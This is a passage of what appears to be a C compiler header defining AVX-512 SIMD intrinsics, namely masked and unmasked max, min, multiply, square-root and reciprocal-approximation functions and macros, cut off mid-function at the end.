static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_max_pd (__m512d __W, __mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_max_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_max_pd (__mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_max_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

#define _mm512_max_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_maxps512((__v16sf)(__m512)(A), \
                                   (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_max_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_max_round_ps((A), (B), (R)), \
                                  (__v16sf)(W)))

#define _mm512_maskz_max_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_max_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_max_ps(__m512 __A, __m512 __B)
{
  return (__m512) __builtin_ia32_maxps512((__v16sf) __A, (__v16sf) __B,
                                          _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_max_ps (__m512 __W, __mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_max_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_max_ps (__mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_max_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_max_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  return (__m128) __builtin_ia32_maxss_round_mask ((__v4sf) __A,
                (__v4sf) __B,
                (__v4sf) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_max_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  return (__m128) __builtin_ia32_maxss_round_mask ((__v4sf) __A,
                (__v4sf) __B,
                (__v4sf)  _mm_setzero_ps (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_max_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_maxss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_max_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_maxss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_max_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_maxss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_max_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  return (__m128d) __builtin_ia32_maxsd_round_mask ((__v2df) __A,
                (__v2df) __B,
                (__v2df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_max_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  return (__m128d) __builtin_ia32_maxsd_round_mask ((__v2df) __A,
                (__v2df) __B,
                (__v2df)  _mm_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_max_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_maxsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_max_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_maxsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_max_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_maxsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline __m512i
__DEFAULT_FN_ATTRS512
_mm512_max_epi32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_max((__v16si)__A, (__v16si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_max_epi32 (__m512i __W, __mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_max_epi32(__A, __B),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_max_epi32 (__mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_max_epi32(__A, __B),
                                            (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_max_epu32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_max((__v16su)__A, (__v16su)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_max_epu32 (__m512i __W, __mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_max_epu32(__A, __B),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_max_epu32 (__mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_max_epu32(__A, __B),
                                            (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_max_epi64(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_max((__v8di)__A, (__v8di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_max_epi64 (__m512i __W, __mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_max_epi64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_max_epi64 (__mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_max_epi64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_max_epu64(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_max((__v8du)__A, (__v8du)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_max_epu64 (__m512i __W, __mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_max_epu64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_max_epu64 (__mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_max_epu64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

#define _mm512_min_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_minpd512((__v8df)(__m512d)(A), \
                                    (__v8df)(__m512d)(B), (int)(R)))

#define _mm512_mask_min_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_min_round_pd((A), (B), (R)), \
                                   (__v8df)(W)))

#define _mm512_maskz_min_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                   (__v8df)_mm512_min_round_pd((A), (B), (R)), \
                                   (__v8df)_mm512_setzero_pd()))

static  __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_min_pd(__m512d __A, __m512d __B)
{
  return (__m512d) __builtin_ia32_minpd512((__v8df) __A, (__v8df) __B,
                                           _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_min_pd (__m512d __W, __mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_min_pd(__A, __B),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_min_pd (__mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_min_pd(__A, __B),
                                              (__v8df)_mm512_setzero_pd());
}

#define _mm512_min_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_minps512((__v16sf)(__m512)(A), \
                                   (__v16sf)(__m512)(B), (int)(R)))

#define _mm512_mask_min_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_min_round_ps((A), (B), (R)), \
                                  (__v16sf)(W)))

#define _mm512_maskz_min_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                  (__v16sf)_mm512_min_round_ps((A), (B), (R)), \
                                  (__v16sf)_mm512_setzero_ps()))

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_min_ps(__m512 __A, __m512 __B)
{
  return (__m512) __builtin_ia32_minps512((__v16sf) __A, (__v16sf) __B,
                                          _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_min_ps (__m512 __W, __mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_min_ps(__A, __B),
                                             (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_min_ps (__mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_min_ps(__A, __B),
                                             (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_min_ss(__m128 __W, __mmask8 __U,__m128 __A, __m128 __B) {
  return (__m128) __builtin_ia32_minss_round_mask ((__v4sf) __A,
                (__v4sf) __B,
                (__v4sf) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_min_ss(__mmask8 __U,__m128 __A, __m128 __B) {
  return (__m128) __builtin_ia32_minss_round_mask ((__v4sf) __A,
                (__v4sf) __B,
                (__v4sf)  _mm_setzero_ps (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_min_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_minss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_min_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_minss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)(__m128)(W), (__mmask8)(U), \
                                           (int)(R)))

#define _mm_maskz_min_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_minss_round_mask((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4sf)_mm_setzero_ps(), \
                                           (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_min_sd(__m128d __W, __mmask8 __U,__m128d __A, __m128d __B) {
  return (__m128d) __builtin_ia32_minsd_round_mask ((__v2df) __A,
                (__v2df) __B,
                (__v2df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_min_sd(__mmask8 __U,__m128d __A, __m128d __B) {
  return (__m128d) __builtin_ia32_minsd_round_mask ((__v2df) __A,
                (__v2df) __B,
                (__v2df)  _mm_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_min_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_minsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm_mask_min_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_minsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)(__m128d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_min_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_minsd_round_mask((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2df)_mm_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline __m512i
__DEFAULT_FN_ATTRS512
_mm512_min_epi32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_min((__v16si)__A, (__v16si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_min_epi32 (__m512i __W, __mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_min_epi32(__A, __B),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_min_epi32 (__mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_min_epi32(__A, __B),
                                            (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_min_epu32(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_min((__v16su)__A, (__v16su)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_min_epu32 (__m512i __W, __mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_min_epu32(__A, __B),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_min_epu32 (__mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                            (__v16si)_mm512_min_epu32(__A, __B),
                                            (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_min_epi64(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_min((__v8di)__A, (__v8di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_min_epi64 (__m512i __W, __mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_min_epi64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_min_epi64 (__mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_min_epi64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_min_epu64(__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_elementwise_min((__v8du)__A, (__v8du)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_min_epu64 (__m512i __W, __mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_min_epu64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_min_epu64 (__mmask8 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_min_epu64(__A, __B),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mul_epi32(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_pmuldq512((__v16si)__X, (__v16si) __Y);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mul_epi32(__m512i __W, __mmask8 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_mul_epi32(__X, __Y),
                                             (__v8di)__W);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_mul_epi32(__mmask8 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_mul_epi32(__X, __Y),
                                             (__v8di)_mm512_setzero_si512 ());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mul_epu32(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_pmuludq512((__v16si)__X, (__v16si)__Y);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mul_epu32(__m512i __W, __mmask8 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_mul_epu32(__X, __Y),
                                             (__v8di)__W);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_mul_epu32(__mmask8 __M, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                             (__v8di)_mm512_mul_epu32(__X, __Y),
                                             (__v8di)_mm512_setzero_si512 ());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mullo_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i) ((__v16su) __A * (__v16su) __B);
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_mullo_epi32(__mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                             (__v16si)_mm512_mullo_epi32(__A, __B),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mullo_epi32(__m512i __W, __mmask16 __M, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                             (__v16si)_mm512_mullo_epi32(__A, __B),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mullox_epi64 (__m512i __A, __m512i __B) {
  return (__m512i) ((__v8du) __A * (__v8du) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mullox_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m512i __B) {
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_mullox_epi64(__A, __B),
                                             (__v8di)__W);
}

#define _mm512_sqrt_round_pd(A, R) \
  ((__m512d)__builtin_ia32_sqrtpd512((__v8df)(__m512d)(A), (int)(R)))

#define _mm512_mask_sqrt_round_pd(W, U, A, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                       (__v8df)_mm512_sqrt_round_pd((A), (R)), \
                                       (__v8df)(__m512d)(W)))

#define _mm512_maskz_sqrt_round_pd(U, A, R) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                       (__v8df)_mm512_sqrt_round_pd((A), (R)), \
                                       (__v8df)_mm512_setzero_pd()))

static  __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_sqrt_pd(__m512d __A)
{
  return (__m512d)__builtin_ia32_sqrtpd512((__v8df)__A,
                                           _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_sqrt_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_sqrt_pd(__A),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_sqrt_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                              (__v8df)_mm512_sqrt_pd(__A),
                                              (__v8df)_mm512_setzero_pd());
}

#define _mm512_sqrt_round_ps(A, R) \
  ((__m512)__builtin_ia32_sqrtps512((__v16sf)(__m512)(A), (int)(R)))

#define _mm512_mask_sqrt_round_ps(W, U, A, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                      (__v16sf)_mm512_sqrt_round_ps((A), (R)), \
                                      (__v16sf)(__m512)(W)))

#define _mm512_maskz_sqrt_round_ps(U, A, R) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                      (__v16sf)_mm512_sqrt_round_ps((A), (R)), \
                                      (__v16sf)_mm512_setzero_ps()))

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_sqrt_ps(__m512 __A)
{
  return (__m512)__builtin_ia32_sqrtps512((__v16sf)__A,
                                          _MM_FROUND_CUR_DIRECTION);
}

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_sqrt_ps(__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_sqrt_ps(__A),
                                             (__v16sf)__W);
}

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_sqrt_ps( __mmask16 __U, __m512 __A)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                             (__v16sf)_mm512_sqrt_ps(__A),
                                             (__v16sf)_mm512_setzero_ps());
}

static  __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_rsqrt14_pd(__m512d __A)
{
  return (__m512d) __builtin_ia32_rsqrt14pd512_mask ((__v8df) __A,
                 (__v8df)
                 _mm512_setzero_pd (),
                 (__mmask8) -1);}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_rsqrt14_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rsqrt14pd512_mask ((__v8df) __A,
                  (__v8df) __W,
                  (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_rsqrt14_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rsqrt14pd512_mask ((__v8df) __A,
                  (__v8df)
                  _mm512_setzero_pd (),
                  (__mmask8) __U);
}

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_rsqrt14_ps(__m512 __A)
{
  return (__m512) __builtin_ia32_rsqrt14ps512_mask ((__v16sf) __A,
                (__v16sf)
                _mm512_setzero_ps (),
                (__mmask16) -1);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_rsqrt14_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rsqrt14ps512_mask ((__v16sf) __A,
                 (__v16sf) __W,
                 (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_rsqrt14_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rsqrt14ps512_mask ((__v16sf) __A,
                 (__v16sf)
                 _mm512_setzero_ps (),
                 (__mmask16) __U);
}

static  __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_rsqrt14_ss(__m128 __A, __m128 __B)
{
  return (__m128) __builtin_ia32_rsqrt14ss_mask ((__v4sf) __A,
             (__v4sf) __B,
             (__v4sf)
             _mm_setzero_ps (),
             (__mmask8) -1);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_rsqrt14_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_rsqrt14ss_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) __W,
          (__mmask8) __U);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_rsqrt14_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_rsqrt14ss_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) _mm_setzero_ps (),
          (__mmask8) __U);
}

static  __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_rsqrt14_sd(__m128d __A, __m128d __B)
{
  return (__m128d) __builtin_ia32_rsqrt14sd_mask ((__v2df) __A,
              (__v2df) __B,
              (__v2df)
              _mm_setzero_pd (),
              (__mmask8) -1);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_rsqrt14_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_rsqrt14sd_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) __W,
          (__mmask8) __U);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_rsqrt14_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_rsqrt14sd_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) _mm_setzero_pd (),
          (__mmask8) __U);
}

static  __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_rcp14_pd(__m512d __A)
{
  return (__m512d) __builtin_ia32_rcp14pd512_mask ((__v8df) __A,
               (__v8df)
               _mm512_setzero_pd (),
               (__mmask8) -1);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_rcp14_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rcp14pd512_mask ((__v8df) __A,
                (__v8df) __W,
                (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_rcp14_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d) __builtin_ia32_rcp14pd512_mask ((__v8df) __A,
                (__v8df)
                _mm512_setzero_pd (),
                (__mmask8) __U);
}

static  __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_rcp14_ps(__m512 __A)
{
  return (__m512) __builtin_ia32_rcp14ps512_mask ((__v16sf) __A,
              (__v16sf)
              _mm512_setzero_ps (),
              (__mmask16) -1);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_rcp14_ps (__m512 __W, __mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rcp14ps512_mask ((__v16sf) __A,
                   (__v16sf) __W,
                   (__mmask16) __U);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_rcp14_ps (__mmask16 __U, __m512 __A)
{
  return (__m512) __builtin_ia32_rcp14ps512_mask ((__v16sf) __A,
                   (__v16sf)
                   _mm512_setzero_ps (),
                   (__mmask16) __U);
}

static  __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_rcp14_ss(__m128 __A, __m128 __B)
{
  return (__m128) __builtin_ia32_rcp14ss_mask ((__v4sf) __A,
                 (__v4sf) __B,
                 (__v4sf)
                 _mm_setzero_ps (),
                 (__mmask8) -1);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_rcp14_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_rcp14ss_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) __W,
          (__mmask8) __U);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_rcp14_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_rcp14ss_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) _mm_setzero_ps (),
          (__mmask8) __U);
}

static  __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_rcp14_sd(__m128d __A, __m128d __B)
{
  return (__m128d) __builtin_ia32_rcp14sd_mask ((__v2df) __A,
            (__v2df) __B,
            (__v2df)
            _mm_setzero_pd (),
            (__mmask8) -1);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_rcp14_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_rcp14sd_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) __W,
          (__mmask8) __U);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_rcp14_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_rcp14sd_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) _mm_setzero_pd (),
          (__mmask8) __U);
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_floor_ps(__m512 __A)
{
  return (__m512) __builtin_ia32_rndscaleps_mask ((__v16sf) __A,
                                                  _MM_FROUND_FLOOR,
